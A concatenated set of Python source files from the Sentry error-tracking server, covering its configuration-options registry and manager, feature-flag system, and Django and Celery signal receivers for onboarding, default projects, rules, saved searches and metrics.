        from django.core.signals import request_finished
        task_postrun.connect(self.maybe_clean_local_cache)
        request_finished.connect(self.maybe_clean_local_cache)






"""
sentry.options.defaults
~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from sentry.logging import LoggingFormat
from sentry.options import (
    FLAG_IMMUTABLE, FLAG_NOSTORE, FLAG_PRIORITIZE_DISK, FLAG_REQUIRED, FLAG_ALLOW_EMPTY,
    register,
)
from sentry.utils.types import Dict, String, Sequence

# Cache
# register('cache.backend', flags=FLAG_NOSTORE)
# register('cache.options', type=Dict, flags=FLAG_NOSTORE)

# System
register('system.admin-email', flags=FLAG_REQUIRED)
register('system.databases', type=Dict, flags=FLAG_NOSTORE)
# register('system.debug', default=False, flags=FLAG_NOSTORE)
register('system.rate-limit', default=0, flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('system.secret-key', flags=FLAG_NOSTORE)
# Absolute URL to the sentry root directory. Should not include a trailing slash.
register('system.url-prefix', ttl=60, grace=3600, flags=FLAG_REQUIRED | FLAG_PRIORITIZE_DISK)
register('system.root-api-key', flags=FLAG_PRIORITIZE_DISK)
register('system.logging-format', default=LoggingFormat.HUMAN, flags=FLAG_NOSTORE)

# Redis
register(
    'redis.clusters',
    type=Dict,
    default={
        'default': {
            'hosts': {
                0: {
                    'host': '127.0.0.1',
                    'port': 6379,
                }
            },
        },
    },
    flags=FLAG_NOSTORE | FLAG_IMMUTABLE
)
register('redis.options', type=Dict, flags=FLAG_NOSTORE)

# symbolizer specifics
register('dsym.llvm-symbolizer-path', type=String)
register('dsym.cache-path', type=String, default='/tmp/sentry-dsym-cache')

# Mail
register('mail.backend', default='smtp', flags=FLAG_NOSTORE)
register('mail.host', default='localhost', flags=FLAG_REQUIRED | FLAG_PRIORITIZE_DISK)
register('mail.port', default=25, flags=FLAG_REQUIRED | FLAG_PRIORITIZE_DISK)
register('mail.username', flags=FLAG_REQUIRED | FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('mail.password', flags=FLAG_REQUIRED | FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('mail.use-tls', default=False, flags=FLAG_REQUIRED | FLAG_PRIORITIZE_DISK)
register('mail.subject-prefix', default='[Sentry] ', flags=FLAG_PRIORITIZE_DISK)
register('mail.from', default='root@localhost', flags=FLAG_REQUIRED | FLAG_PRIORITIZE_DISK)
register('mail.list-namespace', type=String, default='localhost', flags=FLAG_NOSTORE)
register('mail.enable-replies', default=False, flags=FLAG_PRIORITIZE_DISK)
register('mail.reply-hostname', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('mail.mailgun-api-key', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)

# SMS
register('sms.twilio-account', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('sms.twilio-token', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('sms.twilio-number', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)

# U2F
register('u2f.app-id', default='', flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('u2f.facets', default=(), type=Sequence,
         flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)

register('auth.ip-rate-limit', default=0, flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)
register('auth.user-rate-limit', default=0, flags=FLAG_ALLOW_EMPTY | FLAG_PRIORITIZE_DISK)






"""
sentry.options
~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from .store import OptionsStore
from .manager import OptionsManager
from .manager import (  # NOQA
    DEFAULT_FLAGS, FLAG_IMMUTABLE, FLAG_NOSTORE, FLAG_STOREONLY,
    FLAG_REQUIRED, FLAG_PRIORITIZE_DISK, FLAG_ALLOW_EMPTY, UnknownOption
)

__all__ = (
    'get', 'set', 'delete', 'register', 'isset', 'lookup_key', 'UnknownOption',
)

# See notes in ``runner.initializer`` regarding lazy cache configuration.
default_store = OptionsStore(cache=None)
default_store.connect_signals()

default_manager = OptionsManager(store=default_store)

# expose public API
get = default_manager.get
set = default_manager.set
delete = default_manager.delete
register = default_manager.register
all = default_manager.all
filter = default_manager.filter
isset = default_manager.isset
lookup_key = default_manager.lookup_key


def load_defaults():
    from . import defaults  # NOQA






"""
sentry.options.manager
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import six
import sys
import logging

from django.conf import settings

from sentry.utils.types import type_from_value, Any

# Prevent outselves from clobbering the builtin
_type = type

logger = logging.getLogger('sentry')

NoneType = type(None)


class UnknownOption(KeyError):
    pass


DEFAULT_FLAGS = 1 << 0
# Value can't be changed at runtime
FLAG_IMMUTABLE = 1 << 1
# Don't check/set in the datastore. Option only exists from file.
FLAG_NOSTORE = 1 << 2
# Values that should only exist in datastore, and shouldn't exist in
# config files.
FLAG_STOREONLY = 1 << 3
# Values that must be defined for setup to be considered complete
FLAG_REQUIRED = 1 << 4
# If the value is defined on disk, use that and don't attempt to fetch from db.
# This also make the value immutible to changes from web UI.
FLAG_PRIORITIZE_DISK = 1 << 5
# If the value is allowed to be empty to be considered valid
FLAG_ALLOW_EMPTY = 1 << 6

# How long will a cache key exist in local memory before being evicted
DEFAULT_KEY_TTL = 10
# How long will a cache key exist in local memory *after ttl* while the backing store is erroring
DEFAULT_KEY_GRACE = 60


class OptionsManager(object):
    """
    A backend for storing generic configuration within Sentry.

    Legacy Django configuration should be deprioritized in favor of more dynamic
    configuration through the options backend, which is backed by a cache and a
    database.

    You **always** will receive a response to ``get()``. The response is eventually
    consistent with the accuracy window depending on the queue workload and you
    should treat all values as temporary as given a dual connection failure on both
    the cache and the database the system will fall back to hardcoded defaults.

    Overall this is a very loose consistency model which is designed to give simple
    dynamic configuration with maximum uptime, where defaults are always taken from
    constants in the global configuration.
    """

    def __init__(self, store):
        self.store = store
        self.registry = {}

    def set(self, key, value, coerce=True):
        """
        Set the value for an option. If the cache is unavailable the action will
        still suceeed.

        >>> from sentry import options
        >>> options.set('option', 'value')
        """
        opt = self.lookup_key(key)

        # If an option isn't able to exist in the store, we can't set it at runtime
        assert not (opt.flags & FLAG_NOSTORE), '%r cannot be changed at runtime' % key
        # Enforce immutability on key
        assert not (opt.flags & FLAG_IMMUTABLE), '%r cannot be changed at runtime' % key
        # Enforce immutability if value is already set on disk
        assert not (opt.flags & FLAG_PRIORITIZE_DISK and settings.SENTRY_OPTIONS.get(key)), '%r cannot be changed at runtime because it is configured on disk' % key

        if coerce:
            value = opt.type(value)
        elif not opt.type.test(value):
            raise TypeError('got %r, expected %r' % (_type(value), opt.type))

        return self.store.set(opt, value)

    def lookup_key(self, key):
        try:
            return self.registry[key]
        except KeyError:
            # HACK: Historically, Options were used for random adhoc things.
            # Fortunately, they all share the same prefix, 'sentry:', so
            # we special case them here and construct a faux key until we migrate.
            if key.startswith(('sentry:', 'getsentry:')):
                logger.debug('Using legacy key: %s', key, exc_info=True)
                # History shows, there was an expectation of no types, and empty string
                # as the default response value
                return self.store.make_key(key, lambda: '', Any, DEFAULT_FLAGS, 0, 0)
            raise UnknownOption(key)

    def isset(self, key):
        """
        Check if a key has been set to a value and not inheriting from its default.
        """
        opt = self.lookup_key(key)

        if not (opt.flags & FLAG_NOSTORE):
            result = self.store.get(opt, silent=True)
            if result is not None:
                return True

        return key in settings.SENTRY_OPTIONS

    def get(self, key, silent=False):
        """
        Get the value of an option, falling back to the local configuration.

        If no value is present for the key, the default Option value is returned.

        >>> from sentry import options
        >>> options.get('option')
        """
        # TODO(mattrobenolt): Perform validation on key returned for type Justin Case
        # values change. This case is unlikely, but good to cover our bases.
        opt = self.lookup_key(key)

        # First check if the option should exist on disk, and if it actually
        # has a value set, let's use that one instead without even attempting
        # to fetch from network storage.
        if opt.flags & FLAG_PRIORITIZE_DISK:
            try:
                result = settings.SENTRY_OPTIONS[key]
            except KeyError:
                pass
            else:
                if result:
                    return result

        if not (opt.flags & FLAG_NOSTORE):
            result = self.store.get(opt, silent=silent)
            if result is not None:
                # HACK(mattrobenolt): SENTRY_URL_PREFIX must be kept in sync
                # when reading values from the database. This should
                # be replaced by a signal.
                if key == 'system.url-prefix':
                    settings.SENTRY_URL_PREFIX = result
                return result

        # Some values we don't want to allow them to be configured through
        # config files and should only exist in the datastore
        if opt.flags & FLAG_STOREONLY:
            return opt.default()

        try:
            # default to the hardcoded local configuration for this key
            return settings.SENTRY_OPTIONS[key]
        except KeyError:
            try:
                return settings.SENTRY_DEFAULT_OPTIONS[key]
            except KeyError:
                return opt.default()

    def delete(self, key):
        """
        Permanently remove the value of an option.

        This will also clear the value within the store, which means a following
        get() will result in a miss.

        >>> from sentry import options
        >>> options.delete('option')
        """
        opt = self.lookup_key(key)

        # If an option isn't able to exist in the store, we can't set it at runtime
        assert not (opt.flags & FLAG_NOSTORE), '%r cannot be changed at runtime' % key
        # Enforce immutability on key
        assert not (opt.flags & FLAG_IMMUTABLE), '%r cannot be changed at runtime' % key

        return self.store.delete(opt)

    def register(self, key, default=None, type=None, flags=DEFAULT_FLAGS,
                 ttl=DEFAULT_KEY_TTL, grace=DEFAULT_KEY_GRACE):
        assert key not in self.registry, 'Option already registered: %r' % key

        # If our default is a callable, execute it to
        # see what value is returns, so we can use that to derive the type
        if not callable(default):
            default_value = default
            default = lambda: default_value
        else:
            default_value = default()

        # Guess type based on the default value
        if type is None:
            # the default value would be equivilent to '' if no type / default
            # is specified and we assume six.text_type for safety
            if default_value is None:
                default_value = u''
                default = lambda: default_value
            type = type_from_value(default_value)

        # We disallow None as a value for options since this is ambiguous and doesn't
        # really make sense as config options. There should be a sensible default
        # value instead that matches the type expected, rather than relying on None.
        if type is NoneType:
            raise TypeError('Options must not be None')

        # Make sure the type is correct at registration time
        if default_value is not None and not type.test(default_value):
            raise TypeError('got %r, expected %r' % (_type(default), type))

        # If we don't have a default, but we have a type, pull the default
        # value from the type
        if default_value is None:
            default = type
            default_value = default()

        # Boolean values need to be set to ALLOW_EMPTY becaues otherwise, "False"
        # would be treated as a not valid value
        if default_value is True or default_value is False:
            flags |= FLAG_ALLOW_EMPTY

        settings.SENTRY_DEFAULT_OPTIONS[key] = default_value

        self.registry[key] = self.store.make_key(key, default, type, flags, ttl, grace)

    def unregister(self, key):
        try:
            del self.registry[key]
        except KeyError:
            # Raise here or nah?
            raise UnknownOption(key)

    def validate(self, options, warn=False):
        for k, v in six.iteritems(options):
            try:
                self.validate_option(k, v)
            except UnknownOption as e:
                if not warn:
                    raise
                sys.stderr.write('* Unknown config option found: %s\n' % e)

    def validate_option(self, key, value):
        opt = self.lookup_key(key)
        assert not (opt.flags & FLAG_STOREONLY), '%r is not allowed to be loaded from config' % key
        if not opt.type.test(value):
            raise TypeError('%r: got %r, expected %r' % (key, _type(value), opt.type))

    def all(self):
        """
        Return an interator for all keys in the registry.
        """
        return six.itervalues(self.registry)

    def filter(self, flag=None):
        """
        Return an iterator that's filtered by which flags are set on a key.
        """
        if flag is None:
            return self.all()
        if flag is DEFAULT_FLAGS:
            return (k for k in self.all() if k.flags is DEFAULT_FLAGS)
        return (k for k in self.all() if k.flags & flag)






from __future__ import absolute_import

__all__ = ['FeatureNotRegistered']


class FeatureNotRegistered(Exception):
    pass






from __future__ import absolute_import

__all__ = ['Feature', 'OrganizationFeature', 'ProjectFeature',
           'ProjectPluginFeature']


class Feature(object):
    def __init__(self, name):
        self.name = name

    def has(self, actor):
        """
        A feature may return one of three values:

        - True: the feature is enabled for actor
        - False: the feature is not enabled for actor
        - None: defer
        """
        return None


class OrganizationFeature(Feature):
    def __init__(self, name, organization):
        Feature.__init__(self, name)
        self.organization = organization


class ProjectFeature(Feature):
    def __init__(self, name, project):
        Feature.__init__(self, name)
        self.project = project


class ProjectPluginFeature(ProjectFeature):
    def __init__(self, name, project, plugin):
        ProjectFeature.__init__(self, name, project)
        self.plugin = plugin






from __future__ import absolute_import

from .base import *  # NOQA
from .handler import *  # NOQA
from .manager import *  # NOQA


default_manager = FeatureManager()  # NOQA
default_manager.add('auth:register')
default_manager.add('organizations:api-keys', OrganizationFeature)  # NOQA
default_manager.add('organizations:create')
default_manager.add('organizations:sso', OrganizationFeature)  # NOQA
default_manager.add('organizations:onboarding', OrganizationFeature)  # NOQA
default_manager.add('organizations:callsigns', OrganizationFeature)  # NOQA
default_manager.add('organizations:new-tracebacks', OrganizationFeature)  # NOQA
default_manager.add('organizations:reports:prepare', OrganizationFeature)  # NOQA
default_manager.add('organizations:reports:deliver', OrganizationFeature)  # NOQA
default_manager.add('projects:global-events', ProjectFeature)  # NOQA
default_manager.add('projects:quotas', ProjectFeature)  # NOQA
default_manager.add('projects:plugins', ProjectPluginFeature)  # NOQA

# expose public api
add = default_manager.add
get = default_manager.get
has = default_manager.has






from __future__ import absolute_import

__all__ = ['FeatureHandler']


class FeatureHandler(object):
    features = set()

    def __call__(self, feature, actor):
        if feature.name not in self.features:
            return None

        return self.has(feature, actor)

    def has(self, feature, actor):
        raise NotImplementedError






from __future__ import absolute_import

__all__ = ['FeatureManager']

from django.conf import settings

from sentry.plugins import plugins
from sentry.utils.safe import safe_execute

from .base import Feature
from .exceptions import FeatureNotRegistered


class FeatureManager(object):
    def __init__(self):
        self._registry = {}

    def add(self, name, cls=Feature):
        self._registry[name] = cls

    def get(self, name, *args, **kwargs):
        try:
            cls = self._registry[name]
        except KeyError:
            raise FeatureNotRegistered(name)
        return cls(name, *args, **kwargs)

    def has(self, name, *args, **kwargs):
        """
        >>> FeatureManager.has('my:feature', actor=request.user)
        """
        actor = kwargs.pop('actor', None)
        feature = self.get(name, *args, **kwargs)
        rv = self._get_plugin_value(feature, actor)
        if rv is None:
            rv = feature.has(actor=actor)
        if rv is None:
            rv = self._get_default_value(feature)
        return rv

    def _get_default_value(self, feature):
        return settings.SENTRY_FEATURES.get(feature.name, False)

    def _get_plugin_value(self, feature, actor):
        for plugin in plugins.all(version=2):
            handlers = safe_execute(plugin.get_feature_hooks,
                                    _with_transaction=False)
            for handler in handlers or ():
                rv = handler(feature, actor)
                if rv is not None:
                    return rv
        return None






from __future__ import absolute_import, print_function

from django.db import IntegrityError, transaction
from django.db.models.signals import post_save

from sentry.models import Release, TagValue
from sentry.tasks.clear_expired_resolutions import clear_expired_resolutions


def ensure_release_exists(instance, created, **kwargs):
    if instance.key != 'sentry:release':
        return

    if instance.data and instance.data.get('release_id'):
        return

    try:
        with transaction.atomic():
            release = Release.objects.create(
                project=instance.project,
                version=instance.value,
                date_added=instance.first_seen,
            )
    except IntegrityError:
        pass
    else:
        instance.update(data={'release_id': release.id})


def resolve_group_resolutions(instance, created, **kwargs):
    if not created:
        return

    clear_expired_resolutions.delay(release_id=instance.id)


post_save.connect(
    resolve_group_resolutions,
    sender=Release,
    dispatch_uid="resolve_group_resolutions",
    weak=False
)


post_save.connect(
    ensure_release_exists,
    sender=TagValue,
    dispatch_uid="ensure_release_exists",
    weak=False
)






from __future__ import absolute_import

from django.db import IntegrityError
from django.db.models.signals import post_save

from sentry.models import User, UserEmail


def create_user_email(instance, created, **kwargs):
    if created:
        try:
            UserEmail.objects.create(email=instance.email, user=instance)
        except IntegrityError:
            pass

post_save.connect(
    create_user_email,
    sender=User,
    dispatch_uid="create_user_email",
    weak=False
)






from __future__ import absolute_import, print_function

from django.db import router
from django.db.models.signals import post_syncdb

from sentry.models import User


def create_first_user(app, created_models, verbosity, db, **kwargs):
    if User not in created_models:
        return
    if not router.allow_syncdb(db, User):
        return
    if not kwargs.get('interactive', True):
        return

    import click
    if not click.confirm('\nWould you like to create a user account now?', default=True):
        # Not using `abort=1` because we don't want to exit out from further execution
        click.echo('\nRun `sentry createuser` to do this later.\n')
        return

    from sentry.runner import call_command
    call_command('sentry.runner.commands.createuser.createuser')


post_syncdb.connect(
    create_first_user,
    dispatch_uid="create_first_user",
    weak=False,
)






from __future__ import print_function, absolute_import

from django.db import IntegrityError, transaction
from django.db.models import Q
from django.utils import timezone

from sentry.models import (
    OnboardingTask,
    OnboardingTaskStatus,
    OrganizationOnboardingTask,
    OrganizationOption
)
from sentry.plugins import IssueTrackingPlugin, IssueTrackingPlugin2, NotificationPlugin
from sentry.signals import (
    event_processed,
    project_created,
    first_event_pending,
    first_event_received,
    member_invited,
    member_joined,
    plugin_enabled,
    issue_tracker_used,
)
from sentry.utils.javascript import has_sourcemap


def check_for_onboarding_complete(organization):
    if OrganizationOption.objects.filter(organization=organization, key="onboarding:complete").exists():
        return

    completed = set(OrganizationOnboardingTask.objects.filter(Q(organization=organization) & (Q(status=OnboardingTaskStatus.COMPLETE) | Q(status=OnboardingTaskStatus.SKIPPED))).values_list('task', flat=True))
    if completed >= OnboardingTask.REQUIRED_ONBOARDING_TASKS:
        try:
            with transaction.atomic():
                OrganizationOption.objects.create(
                    organization=organization,
                    key="onboarding:complete",
                    value={'updated': timezone.now()}
                )
        except IntegrityError:
            pass


@project_created.connect(weak=False)
def record_new_project(project, user, **kwargs):
    if not user.is_authenticated():
        user = None

    try:
        with transaction.atomic():
            OrganizationOnboardingTask.objects.create(
                organization=project.organization,
                task=OnboardingTask.FIRST_PROJECT,
                user=user,
                status=OnboardingTaskStatus.COMPLETE,
                project_id=project.id,
                date_completed=timezone.now(),
            )
    except IntegrityError:
        try:
            with transaction.atomic():
                OrganizationOnboardingTask.objects.create(
                    organization=project.organization,
                    task=OnboardingTask.SECOND_PLATFORM,
                    user=user,
                    status=OnboardingTaskStatus.PENDING,
                    project_id=project.id,
                    date_completed=timezone.now(),
                )
        except IntegrityError:
            pass


@first_event_pending.connect(weak=False)
def record_raven_installed(project, user, **kwargs):
    try:
        with transaction.atomic():
            OrganizationOnboardingTask.objects.create(
                organization=project.organization,
                task=OnboardingTask.FIRST_EVENT,
                status=OnboardingTaskStatus.PENDING,
                user=user,
                project_id=project.id,
                date_completed=timezone.now()
            )
    except IntegrityError:
        pass


@first_event_received.connect(weak=False)
def record_first_event(project, group, **kwargs):
    """
    Requires up to 2 database calls, but should only run with the first event in
    any project, so performance should not be a huge bottleneck.
    """

    # If complete, pass (creation fails due to organization, task unique constraint)
    # If pending, update.
    # If does not exist, create.
    rows_affected, created = OrganizationOnboardingTask.objects.create_or_update(
        organization=project.organization,
        task=OnboardingTask.FIRST_EVENT,
        status=OnboardingTaskStatus.PENDING,
        values={
            'status': OnboardingTaskStatus.COMPLETE,
            'project_id': project.id,
            'date_completed': project.first_event,
            'data': {'platform': group.platform},
        }
    )

    # If first_event task is complete
    if not rows_affected and not created:
        try:
            oot = OrganizationOnboardingTask.objects.filter(
                organization=project.organization,
                task=OnboardingTask.FIRST_EVENT
            )[0]
        except IndexError:
            return

        # Only counts if it's a new project and platform
        if oot.project_id != project.id and oot.data.get('platform', group.platform) != group.platform:
            OrganizationOnboardingTask.objects.create_or_update(
                organization=project.organization,
                task=OnboardingTask.SECOND_PLATFORM,
                status=OnboardingTaskStatus.PENDING,
                values={
                    'status': OnboardingTaskStatus.COMPLETE,
                    'project_id': project.id,
                    'date_completed': project.first_event,
                    'data': {'platform': group.platform},
                }
            )


@member_invited.connect(weak=False)
def record_member_invited(member, user, **kwargs):
    try:
        with transaction.atomic():
            OrganizationOnboardingTask.objects.create(
                organization=member.organization,
                task=OnboardingTask.INVITE_MEMBER,
                user=user,
                status=OnboardingTaskStatus.PENDING,
                date_completed=timezone.now(),
                data={'invited_member_id': member.id}
            )
    except IntegrityError:
        pass


@member_joined.connect(weak=False)
def record_member_joined(member, **kwargs):
    rows_affected, created = OrganizationOnboardingTask.objects.create_or_update(
        organization=member.organization,
        task=OnboardingTask.INVITE_MEMBER,
        status=OnboardingTaskStatus.PENDING,
        values={
            'status': OnboardingTaskStatus.COMPLETE,
            'date_completed': timezone.now(),
            'data': {'invited_member_id': member.id}
        }
    )
    if created or rows_affected:
        check_for_onboarding_complete(organization=member.organization)


@event_processed.connect(weak=False)
def record_release_received(project, group, event, **kwargs):
    if event.get_tag('sentry:release'):
        try:
            with transaction.atomic():
                OrganizationOnboardingTask.objects.create(
                    organization=project.organization,
                    task=OnboardingTask.RELEASE_TRACKING,
                    status=OnboardingTaskStatus.COMPLETE,
                    project_id=project.id,
                    date_completed=timezone.now()
                )
                check_for_onboarding_complete(project.organization)
        except IntegrityError:
            pass


@event_processed.connect(weak=False)
def record_user_context_received(project, group, event, **kwargs):
    if event.data.get('sentry.interfaces.User'):
        try:
            with transaction.atomic():
                OrganizationOnboardingTask.objects.create(
                    organization=project.organization,
                    task=OnboardingTask.USER_CONTEXT,
                    status=OnboardingTaskStatus.COMPLETE,
                    project_id=project.id,
                    date_completed=timezone.now()
                )
                check_for_onboarding_complete(project.organization)
        except IntegrityError:
            pass


@event_processed.connect(weak=False)
def record_sourcemaps_received(project, group, event, **kwargs):
    if has_sourcemap(event):
        try:
            with transaction.atomic():
                OrganizationOnboardingTask.objects.create(
                    organization=project.organization,
                    task=OnboardingTask.SOURCEMAPS,
                    status=OnboardingTaskStatus.COMPLETE,
                    project_id=project.id,
                    date_completed=timezone.now()
                )
                check_for_onboarding_complete(project.organization)
        except IntegrityError:
            pass


@plugin_enabled.connect(weak=False)
def record_plugin_enabled(plugin, project, user, **kwargs):
    if isinstance(plugin, IssueTrackingPlugin) or isinstance(plugin, IssueTrackingPlugin2):
        task = OnboardingTask.ISSUE_TRACKER
        status = OnboardingTaskStatus.PENDING
    elif isinstance(plugin, NotificationPlugin):
        task = OnboardingTask.NOTIFICATION_SERVICE
        status = OnboardingTaskStatus.COMPLETE

    try:
        with transaction.atomic():
            OrganizationOnboardingTask.objects.create(
                organization=project.organization,
                task=task,
                status=status,
                user=user,
                project_id=project.id,
                date_completed=timezone.now(),
                data={'plugin': plugin.slug}
            )
            check_for_onboarding_complete(project.organization)
    except IntegrityError:
        pass


@issue_tracker_used.connect(weak=False)
def record_issue_tracker_used(plugin, project, user, **kwargs):
    rows_affected, created = OrganizationOnboardingTask.objects.create_or_update(
        organization=project.organization,
        task=OnboardingTask.ISSUE_TRACKER,
        status=OnboardingTaskStatus.PENDING,
        values={
            'status': OnboardingTaskStatus.COMPLETE,
            'user': user,
            'project_id': project.id,
            'date_completed': timezone.now(),
            'data': {'plugin': plugin.slug}
        }
    )
    if rows_affected or created:
        check_for_onboarding_complete(project.organization)






from __future__ import absolute_import

import logging
import six

from django.contrib.auth.models import update_last_login
from django.contrib.auth.signals import user_logged_in
from django.db.utils import DatabaseError

from sentry.models import UserOption


# Set user language if set
def set_language_on_logon(request, user, **kwargs):
    language = UserOption.objects.get_value(
        user=user,
        project=None,
        key='language',
        default=None,
    )
    if language and hasattr(request, 'session'):
        request.session['django_language'] = language


def safe_update_last_login(sender, user, **kwargs):
    """
    Identical to Django's built-in handler except that we gracefully
    handle database failures.

    tl;dr logging in should not fail when a db is read-only
    """
    try:
        update_last_login(sender, user, **kwargs)
    except DatabaseError as exc:
        logging.warn(six.text_type(exc), exc_info=True)


user_logged_in.disconnect(update_last_login)
user_logged_in.connect(
    safe_update_last_login,
    dispatch_uid="safe_update_last_login",
    weak=False,
)

user_logged_in.connect(
    set_language_on_logon,
    dispatch_uid="set_language_on_logon",
    weak=False
)






from __future__ import absolute_import

from sentry.utils.imports import import_submodules


import_submodules(globals(), __name__, __path__)






from __future__ import absolute_import, print_function

from django.db.models.signals import post_save

from sentry.models import Project, Rule


def create_default_rules(instance, created=True, RuleModel=Rule, **kwargs):
    if not created:
        return

    RuleModel.objects.create(
        project=instance,
        label='Send a notification for new events',
        data={
            'match': 'all',
            'conditions': [
                {'id': 'sentry.rules.conditions.first_seen_event.FirstSeenEventCondition'},
            ],
            'actions': [
                {'id': 'sentry.rules.actions.notify_event.NotifyEventAction'},
            ],
        },
    )


post_save.connect(
    create_default_rules,
    sender=Project,
    dispatch_uid="create_default_rules",
    weak=False,
)






from __future__ import absolute_import, print_function

import logging

from django.conf import settings
from django.db import connections
from django.db.utils import OperationalError, ProgrammingError
from django.db.models.signals import post_syncdb, post_save
from functools import wraps
from pkg_resources import parse_version as Version

from sentry import options
from sentry.models import (
    Organization, OrganizationMember, Project, User,
    Team, ProjectKey, TagKey, TagValue, GroupTagValue, GroupTagKey
)
from sentry.signals import buffer_incr_complete
from sentry.utils import db

PROJECT_SEQUENCE_FIX = """
SELECT setval('sentry_project_id_seq', (
    SELECT GREATEST(MAX(id) + 1, nextval('sentry_project_id_seq')) - 1
    FROM sentry_project))
"""


def handle_db_failure(func):
    @wraps(func)
    def wrapped(*args, **kwargs):
        try:
            return func(*args, **kwargs)
        except (ProgrammingError, OperationalError):
            logging.exception('Failed processing signal %s', func.__name__)
            return
    return wrapped


def create_default_projects(created_models, verbosity=2, **kwargs):
    if Project not in created_models:
        return

    create_default_project(
        id=settings.SENTRY_PROJECT,
        name='Internal',
        slug='internal',
        verbosity=verbosity,
    )

    if settings.SENTRY_FRONTEND_PROJECT:
        create_default_project(
            id=settings.SENTRY_FRONTEND_PROJECT,
            name='Frontend',
            slug='frontend',
            verbosity=verbosity,
        )


def create_default_project(id, name, slug, verbosity=2, **kwargs):
    if Project.objects.filter(id=id).exists():
        return

    try:
        user = User.objects.filter(is_superuser=True)[0]
    except IndexError:
        user = None

    org, _ = Organization.objects.get_or_create(
        slug='sentry',
        defaults={
            'name': 'Sentry',
        }
    )

    if user:
        OrganizationMember.objects.get_or_create(
            user=user,
            organization=org,
            role='owner',
        )

    team, _ = Team.objects.get_or_create(
        organization=org,
        slug='sentry',
        defaults={
            'name': 'Sentry',
        }
    )

    project = Project.objects.create(
        id=id,
        public=False,
        name=name,
        slug=slug,
        team=team,
        organization=team.organization,
        **kwargs
    )

    # HACK: manually update the ID after insert due to Postgres
    # sequence issues. Seriously, fuck everything about this.
    if db.is_postgres(project._state.db):
        connection = connections[project._state.db]
        cursor = connection.cursor()
        cursor.execute(PROJECT_SEQUENCE_FIX)

    project.update_option('sentry:origins', ['*'])

    if verbosity > 0:
        print('Created internal Sentry project (slug=%s, id=%s)' % (project.slug, project.id))

    return project


def set_sentry_version(latest=None, **kwargs):
    import sentry
    current = sentry.VERSION

    version = options.get('sentry:latest_version')

    for ver in (current, version):
        if Version(ver) >= Version(latest):
            latest = ver

    if latest == version:
        return

    options.set('sentry:latest_version', (latest or current))


def create_keys_for_project(instance, created, **kwargs):
    if not created or kwargs.get('raw'):
        return

    if not ProjectKey.objects.filter(project=instance).exists():
        ProjectKey.objects.create(
            project=instance,
            label='Default',
        )


@buffer_incr_complete.connect(sender=TagValue, weak=False)
def record_project_tag_count(filters, created, **kwargs):
    from sentry import app

    if not created:
        return

    # TODO(dcramer): remove in 7.6.x
    project_id = filters.get('project_id')
    if not project_id:
        project_id = filters['project'].id

    app.buffer.incr(TagKey, {
        'values_seen': 1,
    }, {
        'project_id': project_id,
        'key': filters['key'],
    })


@buffer_incr_complete.connect(sender=GroupTagValue, weak=False)
def record_group_tag_count(filters, created, extra, **kwargs):
    from sentry import app

    if not created:
        return

    # TODO(dcramer): remove in 7.6.x
    project_id = filters.get('project_id')
    if not project_id:
        project_id = extra['project']

    group_id = filters.get('group_id')
    if not group_id:
        group_id = filters['group'].id

    app.buffer.incr(GroupTagKey, {
        'values_seen': 1,
    }, {
        'project_id': project_id,
        'group_id': group_id,
        'key': filters['key'],
    })


# Anything that relies on default objects that may not exist with default
# fields should be wrapped in handle_db_failure
post_syncdb.connect(
    handle_db_failure(create_default_projects),
    dispatch_uid="create_default_project",
    weak=False,
)
post_save.connect(
    handle_db_failure(create_keys_for_project),
    sender=Project,
    dispatch_uid="create_keys_for_project",
    weak=False,
)






from __future__ import absolute_import, print_function

from django.db.models.signals import post_save

from sentry.models import Project, SavedSearch


def create_default_saved_searches(instance, created=True, **kwargs):
    if not created:
        return

    SavedSearch.objects.create(
        project=instance,
        name='Unresolved Issues',
        query='is:unresolved',
        is_default=True,
    )

    SavedSearch.objects.create(
        project=instance,
        name='Needs Triage',
        query='is:unresolved is:unassigned',
    )

    SavedSearch.objects.create(
        project=instance,
        name='Assigned To Me',
        query='is:unresolved assigned:me',
    )

    SavedSearch.objects.create(
        project=instance,
        name='My Bookmarks',
        query='is:unresolved bookmarks:me',
    )

    SavedSearch.objects.create(
        project=instance,
        name='New Today',
        query='is:unresolved age:-24h',
    )


post_save.connect(
    create_default_saved_searches,
    sender=Project,
    dispatch_uid="create_default_saved_searches",
    weak=False,
)






from __future__ import absolute_import

import six

from celery.signals import (
    task_failure,
    task_prerun,
    task_sent,
    task_success,
)
from django.db.models.signals import post_save

from sentry.utils import metrics


def record_instance_creation(instance, created, **kwargs):
    if not created:
        return

    metrics.incr('objects.created', instance=instance._meta.db_table)

post_save.connect(
    record_instance_creation,
    weak=False,
    dispatch_uid='sentry.stats.tasks.record_instance_creation',
)


def _get_task_name(task):
    return task.name or '{0}.{1}'.format(task.__module__, task.__name__)


def record_task_signal(signal, name, **options):
    def handler(sender, **kwargs):
        if not isinstance(sender, six.string_types):
            sender = _get_task_name(sender)
        metrics.incr('jobs.{0}'.format(name), instance=sender, **options)
        metrics.incr('jobs.all.{0}'.format(name))

    signal.connect(
        handler,
        weak=False,
        dispatch_uid='sentry.stats.tasks.{0}'.format(name),
    )

# TODO: https://github.com/getsentry/sentry/issues/2495
# https://celery.readthedocs.io/en/latest/userguide/signals.html#task-revoked
